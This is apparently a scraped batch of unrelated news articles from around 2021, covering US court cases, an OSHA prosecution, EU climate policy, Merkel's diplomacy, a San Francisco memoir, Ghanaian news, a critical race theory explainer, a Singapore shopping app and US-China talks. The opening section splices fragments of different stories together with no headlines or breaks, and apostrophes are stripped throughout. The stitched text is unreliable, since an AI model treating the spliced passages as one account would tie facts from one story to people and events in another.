Sutherland, 31, died in the Charleston County jail shortly after deputies forced him to the ground and repeatedly used stun guns and pepper spray on him when he refused to leave his cell for a court appearance. He had been booked the day before on a misdemeanor charge after officers arrested him while investigating a fight at a mental health and substance abuse center. His death gained national attention after county officials released video of the incident months later.
According to court documents, the company failed to implement worker safety standards and then tried to cover that up during an inspection by the Occupational Safety and Health Administration. In addition, the company mishandled hazardous waste removed from rail tanker cars during the cleaning process.

Six months after the explosion, the company was cited for 33 safety violations by OSHA. The agency also fined the company nearly $1 million. Two years before the explosion, OSHA had found eight serious violations, and the company had to pay $7,000 in penalties.

The Braithwaites are set to be sentenced Oct. 25. Steven Braithwaite faces a maximum of 15 years in prison and a fine of more than $750,000. Adam Braithwaite is facing a maximum of 20 years in prison and a fine of more than $1.25 million.

The company is facing a maximum penalty of five years probation and a fine of more than $9.5 million.

Worker safety standards and environmental regulations are not just meaningless rules made up by faceless bureaucrats, acting U.S. Attorney Jan Sharp of the District of Nebraska said in a press release. They address real-world safety issues, and failure to abide by them can cost lives.

The guilty pleas emphasize the grave consequences of cutting corners, not only for the workers who are meant to be protected, but also for the employers who fail to live up to their responsibilities, Sharp said.

Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.
Defense lawyers Chad and Jennifer Frese say two witnesses recently came forward independently to partially support Bahena Riveras testimony. The witnesses told investigators that a 21-year-old man with a history of violence against women had bragged about killing Tibbetts and blaming it on a Hispanic man.

One of the witnesses said the man told him while they were at the Keokuk County jail that Tibbetts had been kidnapped and brought to a local trap house used for sex trafficking before she was killed, according to Bahena Riveras lawyers. The man said the house was owned by a 50-year-old who was running the trafficking ring.

The Freses said they learned Tuesday about a criminal investigation that centered on a 50-year-old man who allegedly met one of his sex trafficking victims in May 2018 at a gas station in Brooklyn, Tibbetts hometown of 1,700 people that is roughly 50 miles west of Iowa City.

The woman told investigators that the man lured her to a house in the nearby town of New Sharon, where she was repeatedly drugged, raped and held against her will until August 2018. The woman said she sometimes would hear other womens voices in the home.
Sens. John Thune, a Republican from South Dakota, and Mark Kelly, a Democrat from Arizona, introduced legislation in June that would have stopped the Office of Budget and Management, also known as the OMB, from making the change.

The fact that the OMB will not be pursuing the change at this time will ensure that essential community services, funded by various federal agencies which consider population size and MSA status, will continue into the foreseeable future, said Bismarck Mayor Steve Bakken. We are very grateful the current threshold will remain in place at 50,000 people.

Federal statisticians who originally had recommended the change said it was long overdue, given that the U.S. population has more than doubled since the 50,000-person threshold was introduced in 1950. Back then, about half of U.S. residents lived in metros; now, 86% do.

The committee of federal statisticians that made the recommendation said Tuesday that it would now support putting it on hold pending additional research and outreach to municipalities and others.

Updates to these standards are considered every decade. Even though the proposal was made during the Trump administration, and put on hold in the Biden administration, statisticians say any changes to the standards arent based on politics.
The principle is simple: emission of CO2 must have a price, a price on CO2 that incentivizes consumers, producers and innovators to choose the clean technologies, to go toward the clean and sustainable products, European Commission President Ursula von der Leyen said.

The commission wants to exploit the public mood for change provoked by the COVID-19 pandemic. Its already channeling more than one-third of a massive recovery package aimed at reviving European economies ravaged by coronavirus restrictions into climate-oriented goals.

The aim of the Fit for 55 legislation, commission officials say, is to ween the continent off fossil fuels and take better care of the environment by policy design, rather than be forced into desperate measures at some future climatic tipping point, when its all but too late.

European Commission Executive Vice-President Frans Timmermans said that by failing to act now, "we would fail our children and grandchildren, who in my view, if we dont fix this, will be fighting wars over water and food.
During Merkels 2011 visit to Washington, the two leaders caught dinner at a high-end restaurant, an unusual overture by Obama. A few days later, he hosted Merkel at the White House for a formal state dinner, where he awarded her the Presidential Medal of Freedom, the highest U.S. honor bestowed upon civilians.

Obama got his chance to speak at the Brandenburg Gate in June 2013. Merkel was there to introduce him.

A tough test followed with reports later that year that the U.S. National Security Agency had listened in on German government phones, including Merkels. Merkel declared that spying among friends was unacceptable. But she didn't let it cast a lasting shadow over trans-Atlantic ties.

Obama made a last visit as president in November 2016, dining with Merkel at his Berlin hotel. He was back as ex-president a few months later, participating in a public discussion with Merkel and calling her "one of my favorite partners throughout my presidency.

DONALD TRUMP

Merkel's congratulations to Trump after his 2016 election set the tone for much that followed. In a pointed message, she offered close cooperation on the basis of shared trans-Atlantic values that she said include respect for human dignity regardless of peoples origin, gender or religion.
Streetwise - The Last Mom

by Frank Dunnigan

January 2015

When the telephone rang one day recently, I was fully expecting it to be my dentists office calling back to confirm a change that I had requested for an upcoming appointment. Instead, it was a family friend, calling to tell me that one of my long-time Parkside District neighbors, who lived just two doors away from our family, had passed away unexpectedly.

The news took me aback. Although Mrs. B was just past 80, she was considerably more active than my parents had been at that age. In fact, I visited with her three months earlier at my book launch event at St. Ignatius, and later spoke with her on the telephone a couple of times. Hearing her familiar voice always took me back to my younger days, but now I was being told that she was gone.

Given that it was just a few weeks before Christmas, it was easy to fall into the reminiscing mode I thought back to friends of mine who lost a Dad or a Mom when all of us were still in school, or later times when it was shocking to see a sudden FOR SALE sign posted on the home of a long-time neighbor who had become seriously ill.

Those 48 houses on the block where I grew up25 on the east side of the street and 23 on the west sideeach held an encyclopedia of personal stories since construction on them began in 1935. Much of my life has been intertwinedthough certainly in varying degreeswith the lives of virtually every one of those neighbors.

The B Family arrived on 18th Avenue early in the 1970s with two little boys, becoming the third owners in the history of that particular house. I was a student at University of San Francisco in those days, but still living at home, and our families immediately hit it off. My recently retired Dad soon became friends with Mr. B and would sometimes pick the boys up from school and drop them off with their afternoon day care provider in Parkmerced, while Mrs. B would be sleeping, following her overnight shift as a nurse in a local hospital. The family grew by another son and a daughter while I was in college, and it was good to see that our block was repopulating itself as all of us baby boomers were growing up and moving on.

The B familys arrival came just as the annual neighborhood Christmas lighting celebrations that had been going on since the 1930s were winding down, yet they were still active participants in all neighborhood gatherings. Theirs was a happy and welcoming home, and our family celebrated with them on many occasions: holidays, birthdays, graduations. Mrs. B even helped me coordinate and carry out a surprise 70th birthday party for Mom exactly 30 years agoa fantastic accomplishment on a block where everyone knew everyone else, and most of them were invited guests to Moms celebration. Thanks to Mrs. B, the plans never leaked out, and Mom was completely surprised.

Mr. B was an experienced building contractor, who was always available to help the neighbors with their weekend projects. When I bought my first house on 22nd Avenue in 1979 (in an era before formalized home inspections became the norm), Mr. B walked through the place with me one Saturday morning and then handed me a short to-do list of issues. I can still hear his voice as we stood on the sidewalk and looked up at the roofline, For being built in 1940, its a good housetake itand right he was. The place became my home for the next 20 years.

Mrs. B worked nights as a nurse in a local hospital, so she was often out and about during the mornings, doing her grocery shopping, exchanging neighborhood news and sharing favorite recipes with Mom, before catching a few hours of sleep in the afternoons. On more than one occasion, a neighbor might call, describing a health issue. Mrs. B would often drop she was doing, and go to see what was wrong. Always careful to avoid practicing medicine without a license she would keep her comments generalOh, bed rest for a day or so and watch things to the other extremeYou really want to go to the emergency room right away and have them check this out.

In so many ways, Mrs. B and her family were always there for us. When my father was taken to the hospital for the very last time before he passed away in 1980, it was Mrs. B who called me at work to tell me what was going on and that I should come home at once. Over the next few days of Dads funeral, Mrs. B also took charge of Moms kitchen, coordinating the arriving casseroles and bakery boxes, and keeping track of plates and platters that she would have her children hand-deliver back to the senders later that week, as she reminded her husband to make sure that there were plenty of folding chairs plus ice and clean glassware for the guests. Mrs. B was not one who merely said, If theres anything I can do but rather, she just rolled up her sleeves and immediately jumped in, doing whatever was needed in any situationher nurses training, perhaps, combined with an extraordinarily kind heart and wise judgment.

In fact, it was Mrs. Bs early-morning advice one day in 1992 that helped persuade my then seriously ill mother to agree to go to the hospital in the proverbial nick of time. Thanks to this wonderful neighbors intervention, Mom made a complete recovery from a near-fatal illness. When the time came to have some help at home (something resisted by most parents in that generation with the classic phrase, No strangers in MY house) it was again our wise and kindly neighbor, Mrs. B who helped persuade Mom that having an aide come in for just two hours each morning was exactly what she needed. Thanks to Mrs. B, I was introduced to a wonderful caregiver who stayed for more than ten years, ensuring that Mom was able to remain at home until the very end of her long life.

The day after hearing the sad news about Mrs. Bs passing, I had another call, this time from an old friend and neighbor my own age who still lives in the neighborhood where we all grew up. Kathy and I commiserated about the loss of our long-time neighbor, and shared our memories about her. I also learned that another 1950s-era neighborhood Mom who lived just around the corner had also passed away a few weeks earlier, while another recently entered a long-term care facility. Sadly, the last of the Dads from our childhood days were gone by early in the new millennium, thus leaving exactly one Mom from our childhood days still living there.

Clearly, the era that we knew while growing up has come to a close. Children are few and far between in San Franciscoin the late 1950s, there were nearly 40 kids our age living on that one block. If confronted with a problemanything from a minor scrape to an urgent need to use the bathroom to a more serious accidentwe could have knocked on any neighbors door and been welcomed in by a responsible adult who knew us and our families. Sadly, for the last twenty years or so, houses that sold were referred to as the so-and-sos old house even long after new owners arrived. Today, many residents lead busy lives of their own and simply dont interact with their neighbors in the same ways that all of us used to.

This is not a lament about the passing of old-time native San Franciscansfor Mr. & Mrs. B were both born outside the U.S., and came to San Francisco in the 1960s. Rather, this is a fond farewell to people from many different places and cultures around the globepeople who came together and formed a tight-knit community of friends and neighborswhose lives became inextricably intertwined with those of one another.

And that is what I truly miss most about the good old days.

Contribute your own stories about western neighborhoods places!
The Police at Cantonment in Accra are looking for a woman who allegedly attempted to smuggle a locally manufactured pistol and a bullet to a suspect being detained for various robbery offences.



According to the police, the woman of about 23 years reported at the Cantonment Police Station on Sunday evening, at about 6:45pm, with two packs of fried rice. The food packs were intended for the suspect in custody, identified as Asuquo Mbuotidem Edem Faith, a Nigerian being kept in custody at the request of the Anti Armed Robbery Unit of the Police CID.



CJ denies $5m bribery allegation, calls for police inquiry



According to the police, the officer on duty at the charge office, upon inspection of the food packs, uncovered the locally manufactured pistol and one AA cartridge concealed in one of the packs, however before she could be arrested, she vanished from the station.



The police say they are relying on a CCTV footage at the Charge Office to trace and arrest the suspect.





Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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On June 14, 2021, a police officer, Emmanuel Osei and a trader, Joyce Afua Badu, were attacked by a group of armed robbers at Adedenkpo, a suburb of Jamestown.



Afua Badu who was an eyewitness was said to have raised an alarm of the robbery and was chased and killed by the robbers.



Exactly a month after the incident, the mother of Afua Badu says no government official has been to her house to commiserate with them or offer any support for the children she left behind.



Speaking in an interview with Odi Ahenkan Kwame Yeboah on 'Ekwan so Brebre' on Peace FM, the 80-year-old mother bemoaned the hardship she is going through because of the loss of her daughter.



According to her, the only support they've received so far is from the District Commander of the Ghana Police Service, who visited them with packs of water and a cash amount of GHC2,000.



Meanwhile, a sibling of Afua Badu has pleaded with the Minister of Gender, Children and Social Protection, Adwoa Safo to support the family in taking care of the three children she left behind.



Listen to them in the video below





Source: Peacefmonline.com









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The National Union of Ghana Students (NUGS) has commended the Majority Chief Whip and MP for Nsawam/Adoagyiri, Frank Annoh-Dompreh for his immense support to students and promotion of education in his Constituency.



According to NUGS, the Majority Chief Whip has been organizing classes for BECE candidates, facilitating access to scholarship both local and foreign to students and recently distributed about 200 Scientific calculators to students as well as helping to build a school library in the Constituency.



NUGS also appealed to Members of Parliament, institutions and benevolent individuals for support for the renovation of its Secretariat in Accra to enable it discharge its duties more effectively.



The President of NUGS, Mr Yiadom Boakye made the appeal when he led a delegation of NUGS Executive Members to honour the Majority Chief Whip and MP for Nsawam/Adoagyiri, Frank Annoh-Dompreh at his office at Parliament House for his hard work and support to students in his Constituency.



The delegation also presented a portrait of the Member of Parliament to him.



Mr Yiadom Boakye said as a Union which advocates the wellbeing of students in the country, NUGS will also honour other members of Parliament who perform exceptionally well in the area of promoting education in their Constituencies.



Hon Frank Annoh-Dompreh expressed gratitude to NUGS for the honour done him and promised to support NUGS to renovate its Secretariat. Frank Annoh-Dompreh also promised to visit the NUGS Secretariat soon to observe the condition of the place.

Source: Peacefmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Alliance for Social Equity and Public Accountability (ASEPA) has described the decision by the First Lady to refund all monies paid to her in allowances since 2017, in line with recommendations made by the presidential committee on emoluments for Article 71 office-holders, as a mark of ingratitude.



Rebecca Akufo-Addos decision is coming on the back of the huge public outcry that has greeted governments decision to put her and the Second Lady on monthly remuneration.



I have sighted a letter purporting to be from the Office of the First Lady angrily claiming it is going to refund all allowances paid the first lady since 2017 because Ghanaians are talking too much about the recent recommendations by the Prof. Yaa Ntiamoa-Baidu Committee to pay first/second ladies the same salaries as cabinet ministers, Mensah Thompson, the executive director of ASEPA, posted on Facebook.



He added: First of all, apart from the tone of the letter being unnecessarily arrogant, this smacks a huge sense of INGRATITUDE from the first lady. This letter goes a long [way] to show how unaccommodating the first lady is to public criticisms.



Thompson said if the First Lady cannot contain the outburst of the taxpayer then she should refund everything the state has done for her.



Oya refund everything and from now on, dont use anything that belongs to the taxpayer if you cannot contain the taxpayers outbursts.



But once we continue to finance your living from head to toe, Auntie Becky we will talk papa, Hw3!!! Tax tua y3 ya papa, he said.



Refunding allowances

Rebecca Akufo-Addo and Samira Bawumia have both said they are refunding all allowances paid to them since 2017 and will also not accept any monthly remuneration.



In a statement issued on Monday 12 July 2021, the Office of the First Lady said:  the public discussion has been laced with some extremely negative opinions, in some cases, which she finds distasteful, seeking to portray her as a venal, self-serving and self-centered woman, who does not care about the plight of the ordinary Ghanaian.



In view of this, the First Lady, in consultation with the President of the Republic, has decided to refund all monies paid to her as allowances from the date of the Presidents assumption of office, ie, from January 2017 to date, amounting to GHC899,097.84.



The First Lady has also decided not to accept any monies that have been allocated to be paid to her pursuant to the recommendations of the Ntiamoa-Baidu Committee, as approved by Parliament, the statement signed by Korkor Bleboo, director of communications in the Office of the Second Lady, said.



Meanwhile, Bawumia is set to refund a total amount of eight hundred and eighty-seven thousand, four hundred and eighty-two (GHC 887,482) she has thus far received as allowances from January 2017 to March 2021.



Post below:-







Source: facebook/asaaseradio









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Deputy Finance Minister, John Kumah says the administration of President Nana Addo Dankwa Akufo-Addo is appreciative of the difficulties Ghanaians are going through in the country.



According to the Member of Parliament for Ejisu Constituency, the hardship being experienced by Ghanaians is a global phenomenon as a result of the outbreak of the Covid-19 which has affected the world economy including Ghana.



He stressed that the government has not increased any tax on importation except that the cost of transportation of goods into the country, especially from China is on the ascendency, hence, affecting the cost of products and living in the country.



Speaking on Okay FMs 'Ade Akye Abia' Morning Show, John Kumah noted that Ghanaians are experiencing hardship due to the delay in the appointment of Chief Executive Officers of state Enterprises and the various boards that approve expenditures.



The government is still forming its governance structure and that has become a factor causing hardship in the country, he indicated.



He, however, intimated that the economy of the country in a very short time will pick up as all the economic indicators show that the economy is getting better.



He further pleaded with Ghanaians to be patient with the administration of President Akufo-Addo as things will soon get better due to the proper fiscal measures that have been put in place.



" . . the feedback we are getting shows that things will pick up very soon. Even though the vaccination is not going the way we want, we know that Ghana is still one of the best countries in the world that are managing the Covid-19 very well. We are praying that we would be able to contain it and the many financial challenges that it has bought to Ghanaians will be reduced, he assured.



Watch video below





Source: Daniel Adu Darko/Peacefmonline.com









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There are a myriad of music producers in Ghana but Veteran music producer, Zapp Mallet has named Kaywa and Koda as his favorite music producers presently.



He noted that they are not only matured people but their maturity is reflected in the work they do as music producers.



Asked to list his favorite crop of music producers in Ghana, Zapp Mallet said, Right now David Kyei, Kaywa, yes prophet Kaywa and Koda are my favorite producers. Koda, the artiste, and producer from Takoradi is the one I am talking about. They are mature and there is maturity in what they do.



The recording engineer who has been nurturing music producers in his own small way argues it is sometimes difficult to deal with the present generation. It is hard to deal with the millennials sometimes but I do my best. I have people coming to understudy me and leave not long after and that is it.



According to him, the young sound producers are not lazy but how they use the new technology for production is the problem. Technology has paved the way for things to be done easily. For instance, I dont struggle to do things like before. I can just tune and dial and I deal with it and I am done. But at the end of the day, it is not so much about the technology but what you use the technology for. You can use the tech to kill you can use it to make life. So you can use it to do bad music, terrible music, or good music.



He believes regardless of technology has made things easier, I just think that people are not tapping into their creativity. They are just depending on the tech and are not tapping into their creativity so much.



Zapp Mallet trusts current music producers can achieve greatness if they are tasked to do so.



Addressing rumors that younger artistes refuse to work with producers and engineers from his generation, he replied in the positive. They are not bringing us their projects because I will not use 3 hours to finish it for them. Right now what I hear is people use their 3hours to work on songs and dont care even juxtapose it with the beat to know if they go together or not but they just put it together and off they go.



The experienced producer however prefers to analyze and break down his work so itll take time. For me, music is an art and not a sport like the 100 metre run. It is an art I need to take my time on. It is like making love I have to take my time and not just slam, bam, and leave.

Source: Peacefmonline.com









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" " Children hold up signs during a rally against critical race theory (CRT) being taught in schools in Leesburg, Virginia, June 12, 2021. Critics there say CRT trains white children to see themselves as oppressors. ANDREW CABALLERO-REYNOLDS/AFP via Getty Images

Surely by now you've heard the term critical race theory. Just in the last several months, U.S. state and local GOP legislators have enacted laws and introduced policies attempting to ban critical race theory from being taught in public schools.

To date, 20 states have introduced bills limiting teaching critical race theory (CRT) in public schools and seven have enacted these bans. The latest is Arizona, whose governor Doug Ducey signed House Bill 2906 into law July 9, which prohibits CRT from being taught in Arizona public schools and other government entities.

The term seemed to appear out of nowhere, so why is critical race theory suddenly part of the daily conversation (see sidebar) and what is it anyway?

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What Is Critical Race Theory?

"Critical race theory is a movement in legal thought," says David Miguel Gray, assistant professor of philosophy at the Institute for Intelligent Systems at the University of Memphis. It's an academic framework that legal scholars use to critically examine the legal history of the United States, including everything from the U.S. Constitution to the Mayflower Compact, as well as legislation from the Supreme Court or lower courts, through a lens of racism.

CRT was developed during the mid-1970s by a handful of legal scholars after they determined that, despite the gains of the U.S. Civil Rights Movement, progress toward racial equality had been slow or in some cases was being rolled back. These scholars, in particular the late Derrick Bell and the late Alan Freeman, realized that a new conceptual framework was needed to better understand the complex relationship between race, racism and the U.S. legal system.

In 1989, more than 20 like-minded scholars "who were interested in defining and elaborating on the lived reality of race, and who were open to the aspiration of developing theory" created the first CRT workshop in Madison, Wisconsin. The original purpose of CRT was to think about how the law contributed to racial inequality in the United States  both in the past and present.

The theory they developed, which is that racism is systemic in the institutions of the United States and that these institutions function to preserve the dominance of white people in society, has continued in academic inquiry through today.

For instance, in the legal field and other disciplines, critical race theorists "address the role of racism in the law and the work to eliminate it and other configurations of subordination," Janel George wrote for the American Bar Association (ABA). As a theory, CRT provides scholars with a framework from which to review past and existing legal decisions.

Before diving deeper into the principles of CRT, it is important to understand the purpose of academic theories like critical race theory.

" " The late Derrick Bell was the first tenured African American professor of Law at Harvard University, and is largely credited as the originator of critical race theory. Neville Elder/Corbis via Getty Images

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What Is an Academic Theory?

Theories are used in both scientific and non-scientific research, and they are used to explain complex things in ways that others can apply the same ideas to another situation, according to researchers Scott Schneberger, Carol Pollard and Hugh Watson in their 2009 paper Theories: For Academics and Practitioners.

Various academic disciplines engage with different theories, although many theories cross over into multiple disciplines. Anthropologists might use theories like structuralism, structural functionalism and postmodernism. Media scholars use theories like agenda setting, cultivation and framing.

Not all scholars within a discipline utilize the same theories or even use them in the same way, which allows many viewpoints to discuss each discipline.

Critical race theory is one such academic theory. It was initially developed within legal studies but is now discussed within many other academic disciplines. From the American Bar Association:

CRT is not a diversity and inclusion 'training' but a practice of interrogating the role of race and racism in society that emerged in the legal academy and spread to other fields of scholarship.

Kimberle Crenshaw, executive director of the African American Policy Forum, and the legal scholar who coined the term "critical race theory," explained it in a June 21, 2021, interview with Joy Reid on MSNBC. "Critical race theory is not so much a thing, it's a way of looking at a thing," she said. CRT, Crenshaw explained, is a way of looking at race to understand why after so many centuries since emancipation, patterns of inequality have endured for people of color and Indigenous people. The goal of CRT is to get everyone closer to the promises that are embedded in the Constitution.

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Principles of Critical Race Theory

Gray says many people have conflicting views about critical race theory, and others who support ideas around it some do not. However, it does include some basic fundamental views.

Some of these basic views include the idea that racism is a part of American society, not just a flaw that can be easily fixed with laws. Gray says in the U.S. legal and governmental institutions, for example, racism isn't an anomaly or aberrant feature, it's just normal. While racism may be more present in some areas than others, it has existed throughout U.S. history and continues today.

CRT focuses only on legal and other institutions in general, not on individuals. It attempts to learn how racism exists in society and where improvements can be made, as well as provide an analysis of what perpetuates racism in U.S. systems.

The theory also maintains the idea that the foundation of the United States was based on doctrines that could be considered racist, for example, the Virginia laws about slavery and servitude. In other cases, though, race might not have been explicitly included but was nevertheless implied, like the three-fifths compromise. The agreement made during the 1787 Constitutional Convention determined that enslaved individuals counted as three-fifths of a person for both representation and taxation.

As stated in Article I Section 2 of the Constitution:

Representatives and direct Taxes shall be apportioned among the several States which may be included within this Union, according to their respective Numbers, which shall be determined by adding to the whole Number of free Persons, including those bound to Service for a Term of Years, and excluding Indians not taxed, three-fifths of all other Persons.

Later and contemporary laws and policies about housing, voting rights, education and segregation can also fall into this category, Gray says.

"[Critical race theorists] have argued that our country is largely founded upon doctrines that are in direct opposition with what we normally hear our country is all about," he says, ideas like liberty and equality. And in addition to just studying these discrepancies, critical race theorists also aim to change them.

" " Demonstrators gathered outside the Texas State Capitol during a rally on the first day of the 87th Legislatures special session July 8, 2021 in Austin, Texas. Republican Gov. Greg Abbott called the legislature into session, asking lawmakers to prioritize his agenda items that include overhauling the states voting laws and critical race theory, among other issues. Tamir Kalifa/Getty Images

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Critical Race Theory and Education

Scholarship about education has taken up critical race theory by arguing that racism is entrenched in U.S. education practices and policies, Gray explains. That concern for pedagogy was embraced by education scholars who asked how the educational system might be unjust with respect to race. Even if there is no racist intent, certain practices might have different impacts on the community.

For example, the late critical race theorist and Harvard law professor Bell explored the Brown v. Board of Education (1954) Supreme Court ruling, which legally determined racial segregation of children in public schools unconstitutional. Bell asserted that the SCOTUS decision was based on improving the international image of the United States during the Cold War. Furthermore, the ruling was effectually limited "and the persistence of racial inequality following the civil rights era implicates the law in maintaining racial inequality."

This is an example of the relationship between CRT and education; the theory is used to critically analyze the history and present state of education in the United States.

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Is CRT Being Taught in Schools?

However, there is little evidence that critical race theory itself is being added to the U.S. curriculum in K-12 schools. One reason CRT is not being taught in K-12 is children are unlikely to comprehend advanced academic theories. Structural functionalism and cultivation theory have also not been added to K-12 curriculum. Neither has stochastic calculus for that matter.

On the other hand, some of the documents and court decisions CRT has critiqued are likely to be taught at various levels, such as the three-fifths compromise and the enduring effects of slavery.

Critical race theory is a law school course. And the theory is used in university courses of other disciplines like philosophy and literary criticism, often at the graduate level.

Nevertheless, CRT has received a lot of attention recently with people and politicians expressing concern that it is being taught in schools, including elementary schools. It has "become a catch-all phrase among legislators attempting to ban a wide variety of teaching practices concerning race," Gray writes in a separate article for The Conversation, "Critical race theory: What it is and what it isn't." However, the concepts being banned by proposed legislation under the guise of prohibiting the teaching of CRT aren't part of CRT principles.

For example, in Tennessee, HB 0580 states that public and charter schools may not teach or use materials that assert one race or sex is inherently superior to another race or sex or that an individual should be discriminated against or receive adverse treatment because of the individual's race or sex.

Critical race theory does not uphold these ideas either, Gray says. What seems to have happened is those opposing CRT have taken the fact that the theory is not colorblind  because it recognizes the effects of race and racism and asserts that the only way to improve racism is to address it through legal and institutional changes  and ascribed erroneous racist characteristics to the theory.

In other words, many people are espousing that critical race theory is trying rewrite American history to convince white people that they are inherently racist.

"It's a hot mess, to use a really good Southern phrase," he says.

" " In Tennessee, legislators passed a law stating that public and charter schools may not teach or use materials that assert one race or sex is inherently superior to another race or sex or that an individual should be discriminated against or receive adverse treatment because of the individual's race or sex. Those are not the principles of critical race theory. ANDREW CABALLERO-REYNOLDS/AFP via Getty Images

Now That's Crazy So how did we get here? Many people credit Christopher Rufo, a senior conservative research fellow with the Manhattan Institute, with igniting the flames of the critical race theory fury in 2020. While researching diversity training for federal employees, Rufo said he found critical race theory was "pervading" all levels of government. He called on then-President Donald Trump "to immediately issue an executive order and stamp out this destructive, divisive, pseudoscientific ideology at its root" in a Fox News interview in September 2020, and well, it snowballed from there.
(PHOTO: The Collective)

SINGAPORE  One positive to come out of the various versions of COVID lockdown was the number of people who decided to launch a small business from home. But once the business is established, how are you going to reach your customers? Thats where The Collective comes into play.

Founded by four young Singaporean entrepreneurs, The Collective is a new online shopping app that will help you support local emerging home-based businesses.

What is The Collective?

The Collective is an all-in-one mobile marketplace platform for all local home-based businesses in the food, crafts, and service sectors; it aims to be a home for all home-based businesses. This platform empowers home business owners or who we call Hometrepreneurs to grow and sell their collections to a wider audience, say the founders.

Vernetta Fong, one of the co-founders, faced coronavirus lockdowns right after she had opened her own cafe.

(PHOTO: The Collective)

Four months in, the Circuit Breaker was implemented, and I decided to stop operations and switch to home-based, explains Ms Fong. I went in with no expectations but soon realised that it was really difficult to manage delivery, consolidate incoming orders from the various platforms, and reach out to new buyers as a new online business.

Ms Fong has a background in UXUI design and felt that she could use her skills to create a new platform that could bring all the necessary requirements together: As a result, The Collective Marketplace - An all-in-one marketplace platform for home-based businesses, was born.

While the idea came easily, implementing The Collective wasnt exactly a walk in the park.

We were all wide-eyed first-time founders with dreams of launching a perfect product in three months, says Ms Fong. The initial timeline that we planned turned into a 9-month journey trying to develop a stable app and having sellers onboard with us without a product yet.

Despite the delay, Ms Fong says the home-based maker community was very supportive.

Story continues

We are very grateful for this wonderful community that we were very lucky to meet both online as well as in-person during our photoshoot that was conducted for the sellers on our platform. With the support weve been seeing for our local community, and as more consumers pivot online, I believe that theres still a lot of growth for all these home-based businesses.

(PHOTO: The Collective)

How does The Collective work?

The Collective is an app that will help you easily browse and shop a wide range of home-based products from the food, crafts, and service sectors.

We currently have about 100 products ranging from cakes to crispy shallots to ice cream listed on our platform, says Ms Fong.

Some of the most popular items are the beautiful artisanal loaves by Marymount Bakehouse, refreshing gut-loving kombucha by Re:Kombucha, assorted burnt cheesecakes by Whites Bakery as well as fruit-filled mochi by Sweetshapes.

There is also a Review function that will help you with choices, and the team also picks various new home-based businesses to try every month. You can download the app from either the App Store or Google Play Store, and once you set up an account, you can start shopping.

Building a product that can help solve other peoples problems is simply fulfilling but ultimately, believing in the reason and what we can do for the local community that drives us to push boundaries and stay motivated during difficult times, says Ms Fong. Our local community is the reason for The Collective, and we are constantly gathering feedback to improve our app to make it even better for them.

The Collective Marketplace App is available for both iPhone and Android users.

It is free to download at the App Store and Google Play Store. For more information about The Collective, go to https://www.thecollective.com.sg/ or email hello@thecollective.com.sg

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Washington is sending a senior diplomat to China next week in a visit seen as an essential first step towards a potential leadership summit between the two powers.

Deputy Secretary of State Wendy Sherman will meet Chinas foreign vice-minister Xie Feng in Tianjin, where they will discuss the possibility of a meeting between US Secretary of State Antony Blinken and Chinese foreign minister Wang Yi, a source said.

Such a meeting is seen as essential to pave the way for further engagement between President Joe Biden and his Chinese counterpart Xi Jinping.

Do you have questions about the biggest topics and trends from around the world? Get the answers with SCMP Knowledge, our new platform of curated content with explainers, FAQs, analyses and infographics brought to you by our award-winning team.

A meeting in 2013 between then vice-president Joe Biden and Chinese President Xi Jinping. Photo: Getty Images

Shermans visit will also provide a rare opportunity for engagement ahead of the next phase of Bidens China policy, as his point man for Asia Kurt Campbell puts the finishing touches on a review that will provide recommendations for the US administrations future policy direction.

Biden will take part in a virtual meeting of the Apec Forum on Friday. It is unknown whether there are plans for a discussion with Xi at that time, but some have raised the possibility that a meeting could take place during the October G20 meeting in Rome.

After [Campbells] review, its time to touch base and for both sides to get a sense of where the relationship is going, said the source, who requested anonymity.

Sherman and Xies meeting will be the first senior face-to-face encounter since March, when the two countries senior diplomats had a fiery exchange in Alaska. Qin Gang, who is expected to succeed Cui Tiankai as Chinas US envoy, is expected to leave for Washington by the end of July, after a handover from Cui who is about to finish quarantine, sources also said.

The intense rivalry between Beijing and Washington has continued under the Biden administration, with growing tensions over almost all aspects of relations from trade and technology to Taiwan and South China Sea, as well as Chinas alleged human rights violations in Xinjiang.

Story continues

Washington escalated its rhetoric on Xinjiang on Tuesday, warning American firms with interests in the region that they risked breaking US law and may face serious consequences if they continued business as usual there.

The US advisory cited forced labour, intrusive surveillance and continuing genocide and crimes against humanity against the regions Uygur population. Given the severity and extent of these abuses, businesses and individuals that do not exit supply chains, ventures and/or investments connected to Xinjiang could run a high risk of violating US law.

The US also marked the fifth anniversary of an international tribunals ruling rejecting most of Chinas claims in the South China Sea, with a statement on Sunday by Blinken calling on Beijing to stop provocative actions in the disputed waterway. He also reaffirmed that the mutual defence treaty with the Philippines included a commitment to respond if it was attacked by China.

Campbell said last week the US would step up our game substantially in Southeast Asia, but he made clear Washington did not support independence for Taiwan  one of Beijings red lines  while continuing to foster a strong unofficial relationship with the self-ruled island.

Despite these tensions, the two countries have opened up limited channels for cooperation on climate, with US climate envoy John Kerry meeting his Chinese counterpart Xie Zhenhua in Shanghai in April.

Shi Yinhong, a researcher on US-China relations, said communications between the two countries had picked up after the Alaska summit, which was an improvement on the lack of contact which marked the last months of the Donald Trump era.

But such does not indicate a return to the regular diplomatic dialogues of the past, while the US has upped the ante in the already heated confrontation to new dimensions such as cyber technology, he said.

As rivalry continues to heighten, it is increasingly significant for both sides to put emphasis on crisis prevention and conflict management. But it is not expected, even for future dialogue at more senior levels, that the confrontation in any major field in bilateral relations is going to be reversed.

Sherman, 71, is best known for her role in the Iran nuclear deal negotiations. She was appointed to the State Departments No 2 position in April and travelled to Southeast Asia and Europe in May, with the China issue topping the agenda.

In an interview with The New York Times in June, Sherman was asked about Bidens developing China strategy. These are not relationships about trust. They are relationships about respect. You can gain respect for each others interests, and you ensure that your interests are met, she said.

More from South China Morning Post:

This article Xi-Biden summit moves closer with senior US diplomat Wendy Shermans China visit first appeared on South China Morning Post

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Credit: Zenza Flarini/Shutterstock

